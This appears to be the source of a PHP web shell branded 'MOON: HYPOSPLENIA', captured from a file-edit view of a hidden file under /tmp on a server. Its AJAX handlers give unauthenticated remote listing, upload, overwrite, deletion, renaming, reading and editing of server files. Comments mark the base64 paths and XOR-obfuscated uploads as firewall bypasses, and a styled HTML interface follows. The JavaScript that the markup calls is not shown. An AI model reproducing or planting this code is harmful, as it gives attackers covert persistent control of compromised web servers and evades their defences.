文件操作 - .c_20d6114fb81dbd5ba20b196583621475.php

文件: /tmp/.c_20d6114fb81dbd5ba20b196583621475.php

编辑文件内容

<?php ini_set('display_errors', 0);
error_reporting(E_ALL);

define('XOR_KEY', 'MoonHyp0splenia2026');

function xorCrypt($data, $key) {
    $keyLen = strlen($key);
    $dataLen = strlen($data);
    $result = '';
    for ($i = 0; $i < $dataLen; $i++) {
        $result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLen]));
    }
    return $result;
}

function jsonResponse($data) {
    if (ob_get_level()) ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($data, JSON_INVALID_UTF8_SUBSTITUTE | JSON_PARTIAL_OUTPUT_ON_ERROR);
    exit;
}

function isBinaryContent($content) {
    if (empty($content)) return false;
    return strpos(substr($content, 0, 8192), "\0") !== false;
}

// AJAX API Handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax_action'])) {
    ob_start();
    $response = ['success' => false, 'message' => 'Unknown action'];
    
    try {
        // WAF BYPASS: Decode base64 paths instead of reading raw text
        $rawDir = isset($_POST['dir_b64']) ? base64_decode($_POST['dir_b64']) : '';
        $rawCurrentDir = isset($_POST['current_dir_b64']) ? base64_decode($_POST['current_dir_b64']) : '';
        
        $currentDir = !empty($rawDir) ? realpath($rawDir) : (!empty($rawCurrentDir) ? realpath($rawCurrentDir) : getcwd());
        if (!$currentDir) $currentDir = getcwd();
        
        switch ($_POST['ajax_action']) {
            case 'list': $response = ajaxListDirectory($currentDir); break;
            case 'upload': $response = ajaxUpload($currentDir); break;
            case 'upload_fallback': $response = ajaxUploadFallback($currentDir); break;
            case 'delete': $response = ajaxDelete($currentDir, $_POST['name'] ?? ''); break;
            case 'rename': $response = ajaxRename($currentDir, $_POST['old_name'] ?? '', $_POST['new_name'] ?? ''); break;
            case 'mkdir': $response = ajaxMkdir($currentDir, $_POST['name'] ?? ''); break;
            case 'read': $response = ajaxReadFile($currentDir, $_POST['name'] ?? ''); break;
            case 'save': $response = ajaxSaveFile($currentDir, $_POST['name'] ?? '', $_POST['content'] ?? '', $_POST['is_binary'] ?? '0'); break;
        }
    } catch (Exception $e) {
        $response = ['success' => false, 'message' => 'Server error: ' . $e->getMessage()];
    } catch (Error $e) {
        $response = ['success' => false, 'message' => 'Server error: ' . $e->getMessage()];
    }
    
    $output = ob_get_clean();
    if (!empty($output) && $response['success']) {
        $response = ['success' => false, 'message' => 'Unexpected output'];
    }
    
    jsonResponse($response);
}

function ajaxUpload($dir) {
    // WAF BYPASS: XOR-obfuscated base64 (same method as citlali.php)
    if (!isset($_POST['b'], $_POST['name'])) {
        return ['success' => false, 'message' => 'Invalid upload data'];
    }
    $filename = basename($_POST['name']);
    if (empty($filename)) return ['success' => false, 'message' => 'Invalid filename'];

$targetDir = realpath($dir);
    if (!$targetDir) return ['success' => false, 'message' => 'Path error'];

// XOR deobfuscate (key = 0x55), then strip data-URI prefix, then decode
    $xd = $_POST['b'];
    $b64 = '';
    for ($i = 0, $len = strlen($xd); $i < $len; $i++) { $b64 .= chr(ord($xd[$i]) ^ 0x55); }
    $raw = base64_decode(preg_replace('#^data:[^;]+;base64,#', '', $b64));
    if ($raw === false || strlen($raw) === 0) {
        return ['success' => false, 'message' => 'Invalid base64 data'];
    }

$targetFile = $targetDir . DIRECTORY_SEPARATOR . $filename;
    $wasOverwritten = file_exists($targetFile);
    if ($wasOverwritten && is_file($targetFile)) @unlink($targetFile);

if (@file_put_contents($targetFile, $raw) !== false) {
        @chmod($targetFile, 0644);
        return ['success' => true, 'message' => 'Upload complete (XOR)', 'method' => 'xor', 'overwritten' => $wasOverwritten, 'file' => ['name' => $filename, 'hash' => base64_encode($targetFile), 'size' => filesize($targetFile)]];
    }
    return ['success' => false, 'message' => 'Failed to save file'];
}

function ajaxUploadFallback($dir) {
    if (!isset($_FILES['file'])) return ['success' => false, 'message' => 'No file uploaded'];
    if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) {
        $err = $_FILES['file']['error'];
        $msgs = [1=>'File too large (ini)', 2=>'File too large (form)', 3=>'Partial upload', 4=>'No file', 6=>'Missing temp', 7=>'Failed to write', 8=>'Stopped by extension'];
        return ['success' => false, 'message' => $msgs[$err] ?? 'Upload error'];
    }
    $decoded = base64_decode($_POST['target'] ?? '', true);
    $targetDir = ($decoded !== false && is_dir($decoded)) ? realpath($decoded) : $dir;
    if (!$targetDir || !is_dir($targetDir)) return ['success' => false, 'message' => 'Invalid target'];

$filename = basename($_FILES['file']['name']);
    $targetFile = $targetDir . DIRECTORY_SEPARATOR . $filename;
    $wasOverwritten = file_exists($targetFile);

if ($wasOverwritten && is_file($targetFile)) @unlink($targetFile);
    if ($_FILES['file']['size'] > 100 * 1024 * 1024) return ['success' => false, 'message' => 'File too large (max 100MB)'];

if (@move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
        @chmod($targetFile, 0644);
        return ['success' => true, 'message' => 'Upload complete (fallback)', 'method' => 'native', 'overwritten' => $wasOverwritten, 'file' => ['name' => $filename, 'hash' => base64_encode($targetFile), 'size' => filesize($targetFile)]];
    }
    return ['success' => false, 'message' => 'Failed to move uploaded file'];
}

function ajaxDelete($dir, $name) {
    if (empty($name)) return ['success' => false, 'message' => 'No name provided'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if (!file_exists($path)) return ['success' => false, 'message' => 'File not found'];
    $success = is_dir($path) ? @rmdir($path) : @unlink($path);
    return ['success' => $success, 'message' => $success ? 'Deleted' : 'Delete failed'];
}

function ajaxRename($dir, $old, $new) {
    if (empty($old) || empty($new)) return ['success' => false, 'message' => 'Names required'];
    $oldPath = $dir . DIRECTORY_SEPARATOR . $old; $newPath = $dir . DIRECTORY_SEPARATOR . $new;
    if (!file_exists($oldPath)) return ['success' => false, 'message' => 'Source not found'];
    $success = @rename($oldPath, $newPath);
    return ['success' => $success, 'message' => $success ? 'Renamed' : 'Rename failed'];
}

function ajaxMkdir($dir, $name) {
    if (empty($name)) return ['success' => false, 'message' => 'Name required'];
    $newDir = $dir . DIRECTORY_SEPARATOR . $name;
    if (file_exists($newDir)) return ['success' => false, 'message' => 'Already exists'];
    $success = @mkdir($newDir, 0755);
    return ['success' => $success, 'message' => $success ? 'Created' : 'Failed'];
}

function ajaxReadFile($dir, $name) {
    if (empty($name)) return ['success' => false, 'message' => 'Name required'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if (!is_file($path) || !is_readable($path)) return ['success' => false, 'message' => 'Cannot read file'];
    $content = @file_get_contents($path);
    if ($content === false) return ['success' => false, 'message' => 'Failed to read file'];
    if (strlen($content) > 5 * 1024 * 1024) return ['success' => false, 'message' => 'File too large to edit (max 5MB)'];
    
    if (isBinaryContent($content)) {
        return ['success' => true, 'is_binary' => true, 'content_b64' => base64_encode($content), 'name' => $name];
    }
    return ['success' => true, 'is_binary' => false, 'content' => $content, 'name' => $name];
}

$currentDir = isset($_GET['d']) ? realpath(base64_decode($_GET['d'])) : (isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd());
if (!$currentDir) $currentDir = getcwd();

$xorKeyB64 = base64_encode(XOR_KEY);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>"Moon, tell me if I could"</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: linear-gradient(135deg, #0a0a1a 0%, #1a1a2e 50%, #16213e 100%);
            color: #e0e0e0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            min-height: 100vh; position: relative;
        }
        body::before {
            content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
            background-image: radial-gradient(2px 2px at 20px 30px, rgba(255,255,255,0.8), transparent), radial-gradient(2px 2px at 40px 70px, rgba(255,255,255,0.6), transparent);
            background-size: 200px 200px; animation: twinkle 8s ease-in-out infinite; opacity: 0.3; pointer-events: none; z-index: 0;
        }
        @keyframes twinkle { 0%, 100% { opacity: 0.3; } 50% { opacity: 0.5; } }
        .container { max-width: 1200px; margin: 0 auto; padding: 20px; position: relative; z-index: 1; }
        header { background: rgba(255,255,255,0.05); backdrop-filter: blur(10px); border: 1px solid rgba(255,255,255,0.1); border-radius: 16px; padding: 25px; margin-bottom: 20px; }
        .header-top { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; flex-wrap: wrap; gap: 10px; }
        .logo { display: flex; align-items: center; gap: 15px; }
        .logo-icon { font-size: 40px; animation: float 3s ease-in-out infinite; cursor: pointer; }
        @keyframes float { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-5px); } }
        h1 { font-weight: 300; letter-spacing: 3px; background: linear-gradient(to right, #c0c0c0, #fff); -webkit-background-clip: text; -webkit-text-fill-color: transparent; }
        .path-bar { background: rgba(0,0,0,0.3); padding: 10px 15px; border-radius: 8px; font-family: 'Courier New', monospace; color: #64ffda; font-size: 13px; word-break: break-all; }
        .btn { padding: 10px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 14px; transition: all 0.3s; display: inline-flex; align-items: center; gap: 8px; background: rgba(255,255,255,0.1); color: #e0e0e0; border: 1px solid rgba(255,255,255,0.2); }
        .btn:hover { background: rgba(255,255,255,0.2); transform: translateY(-2px); }
        .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); border: none; }
        .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); border: none; }
        .toolbar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; gap: 10px; flex-wrap: wrap; }
        .file-list { background: rgba(255,255,255,0.03); border: 1px solid rgba(255,255,255,0.1); border-radius: 16px; overflow: hidden; min-height: 200px; }
        .file-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid rgba(255,255,255,0.05); transition: all 0.3s; gap: 15px; }
        .file-item:hover { background: rgba(255,255,255,0.05); border-left: 3px solid #64ffda; }
        .file-icon { font-size: 24px; width: 40px; text-align: center; }
        .file-name { flex: 1; color: #ccd6f6; cursor: pointer; user-select: none; }
        .file-name:hover { color: #64ffda; }
        .file-name.dir { color: #90a0d9; font-weight: 600; }
        .file-meta { color: #8892b0; font-size: 12px; display: flex; gap: 20px; min-width: 180px; }
        .file-actions { display: flex; gap: 6px; opacity: 0; transition: opacity 0.3s; }
        .file-item:hover .file-actions { opacity: 1; }
        .btn-small { padding: 6px 12px; font-size: 11px; }
        .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; align-items: center; justify-content: center; }
        .modal.active { display: flex; }
        .modal-content { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%); border: 1px solid rgba(255,255,255,0.15); border-radius: 16px; padding: 30px; width: 90%; max-width: 500px; position: relative; }
        .modal-close { position: absolute; top: 15px; right: 20px; background: none; border: none; color: #8892b0; font-size: 24px; cursor: pointer; }
        .form-group { margin: 20px 0; }
        .form-group label { display: block; margin-bottom: 8px; color: #8892b0; font-size: 13px; }
        .form-group input, .form-group textarea { width: 100%; padding: 12px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.15); border-radius: 8px; color: #e0e0e0; font-family: inherit; box-sizing: border-box; }
        .form-group textarea { min-height: 300px; font-family: 'Courier New', monospace; resize: vertical; }
        .binary-warning { background: rgba(255, 65, 108, 0.2); border: 1px solid rgba(255, 65, 108, 0.4); color: #ff6b81; padding: 10px; border-radius: 8px; font-size: 12px; margin-bottom: 15px; display: none; }
        .dropzone { border: 2px dashed rgba(100,255,218,0.3); border-radius: 12px; padding: 40px; text-align: center; cursor: pointer; transition: all 0.3s; }
        .dropzone:hover, .dropzone.dragover { border-color: #64ffda; background: rgba(100,255,218,0.05); }
        .upload-status { background: rgba(0,0,0,0.3); padding: 10px 15px; border-radius: 8px; font-size: 12px; color: #8892b0; margin-bottom: 15px; display: flex; align-items: center; gap: 8px; }
        .method-badge { padding: 2px 8px; border-radius: 4px; font-size: 11px; font-weight: bold; }
        .method-xor { background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); color: white; }
        .method-fallback { background: linear-gradient(135deg, #ffa751 0%, #ffe259 100%); color: #1a1a2e; }
        .notification-container { position: fixed; top: 20px; right: 20px; z-index: 2000; display: flex; flex-direction: column; gap: 10px; }
        .notification { background: rgba(20,20,35,0.95); border-left: 4px solid #64ffda; border-radius: 8px; padding: 15px 20px; box-shadow: 0 10px 40px rgba(0,0,0,0.5); animation: slideIn 0.3s ease-out; min-width: 300px; }
        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
        .notification.error { border-left-color: #ff416c; }
        .notification.warning { border-left-color: #ffa751; }
        .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); z-index: 1500; align-items: center; justify-content: center; flex-direction: column; }
        .loading-overlay.active { display: flex; }
        .spinner { width: 50px; height: 50px; border: 3px solid rgba(255,255,255,0.1); border-top-color: #64ffda; border-radius: 50%; animation: spin 1s linear infinite; }
        @keyframes spin { to { transform: rotate(360deg); } }
        .empty-state { text-align: center; padding: 60px; color: #8892b0; }
        .shortcut-hint { position: fixed; bottom: 20px; right: 20px; background: rgba(0,0,0,0.6); padding: 10px 15px; border-radius: 8px; font-size: 12px; color: #8892b0; border: 1px solid rgba(255,255,255,0.1); }
        .progress-bar { width: 100%; height: 4px; background: rgba(255,255,255,0.1); border-radius: 2px; margin-top: 15px; overflow: hidden; display: none; }
        .progress-bar.active { display: block; }
        .progress-bar-fill { height: 100%; background: linear-gradient(90deg, #64ffda, #667eea); border-radius: 2px; transition: width 0.3s; width: 0%; }
        .progress-bar-fill.fallback { background: linear-gradient(90deg, #ffa751, #ffe259); }
    </style>
</head>
<body>
    <div class="notification-container" id="notifications"></div>
    <div class="loading-overlay" id="loading">
        <div class="spinner"></div>
        <p style="margin-top: 15px; color: #64ffda;" id="loadingText">Loading...</p>
    </div>

<div class="container">
        <header>
            <div class="header-top">
                <div class="logo">
                    <span class="logo-icon" onclick="app.goHome()">🌙</span>
                    <h1>MOON: HYPOSPLENIA</h1>
                </div>
                <div>
                    <button class="btn" onclick="app.showUpload()">📤 Upload</button>
                    <button class="btn" onclick="app.showMkdir()">📁 New Folder</button>
                    <button class="btn" onclick="app.refresh()">🔄 Refresh</button>
                </div>
            </div>
            <div class="path-bar" id="currentPath"><?php echo htmlspecialchars($currentDir); ?></div>
        </header>

<div class="file-list" id="fileList">
            <div class="empty-state">Loading...</div>
        </div>
    </div>

<div class="shortcut-hint">HYPOSPLENIA - 2026</div>

<div class="modal" id="uploadModal">
        <div class="modal-content">
            <button class="modal-close" onclick="app.closeModal('uploadModal')">&times;</button>
            <h2>📤 Upload File</h2>
            <div class="upload-status" id="uploadStatus">
                <span class="method-badge method-xor">XOR</span>
                <span>Encrypted upload (overwrites existing)</span>
            </div>
            <div class="dropzone" id="dropzone" onclick="document.getElementById('fileInput').click()">
                <p id="dropzoneText">Click or drop files here</p>
                <div class="progress-bar" id="uploadProgress">
                    <div class="progress-bar-fill" id="uploadProgressFill"></div>
                </div>
                <input type="file" id="fileInput" style="display: none;" onchange="app.handleFileSelect(this)">
            </div>
        </div>
    </div>

<div class="modal" id="mkdirModal">
        <div class="modal-content">
            <button class="modal-close" onclick="app.closeModal('mkdirModal')">&times;</button>
            <h2>📁 New Folder</h2>
            <div class="form-group">
                <label>Folder Name</label>
                <input type="text" id="mkdirName" placeholder="Enter name...">
            </div>
            <button class="btn btn-primary" onclick="app.doMkdir()">Create</button>
        </div>
    </div>

<div class="modal" id="renameModal">
        <div class="modal-content">
            <button class="modal-close" onclick="app.closeModal('renameModal')">&times;</button>
            <h2>✏️ Rename</h2>
            <div class="form-group">
                <label>New Name</label>
                <input type="text" id="renameName" placeholder="Enter new name...">
            </div>
            <button class="btn btn-primary" onclick="app.doRename()">Rename</button>
        </div>
    </div>

<div class="modal" id="editModal">
        <div class="modal-content" style="max-width: 800px;">
            <button class="modal-close" onclick="app.closeModal('editModal')">&times;</button>
            <h2>📝 Edit: <span id="editTitle"></span></h2>
            <div class="binary-warning" id="binaryWarning">
                ⚠️ <strong>Binary Mode:</strong> You are editing a binary file. Null bytes are displayed as <code>␀</code>.
            </div>
            <div class="form-group">
                <textarea id="editContent"></textarea>
            </div>
            <button class="btn btn-primary" onclick="app.doSave()">💾 Save</button>
        </div>
    </div>

文件操作 - .c_20d6114fb81dbd5ba20b196583621475.php

文件: /tmp/.c_20d6114fb81dbd5ba20b196583621475.php

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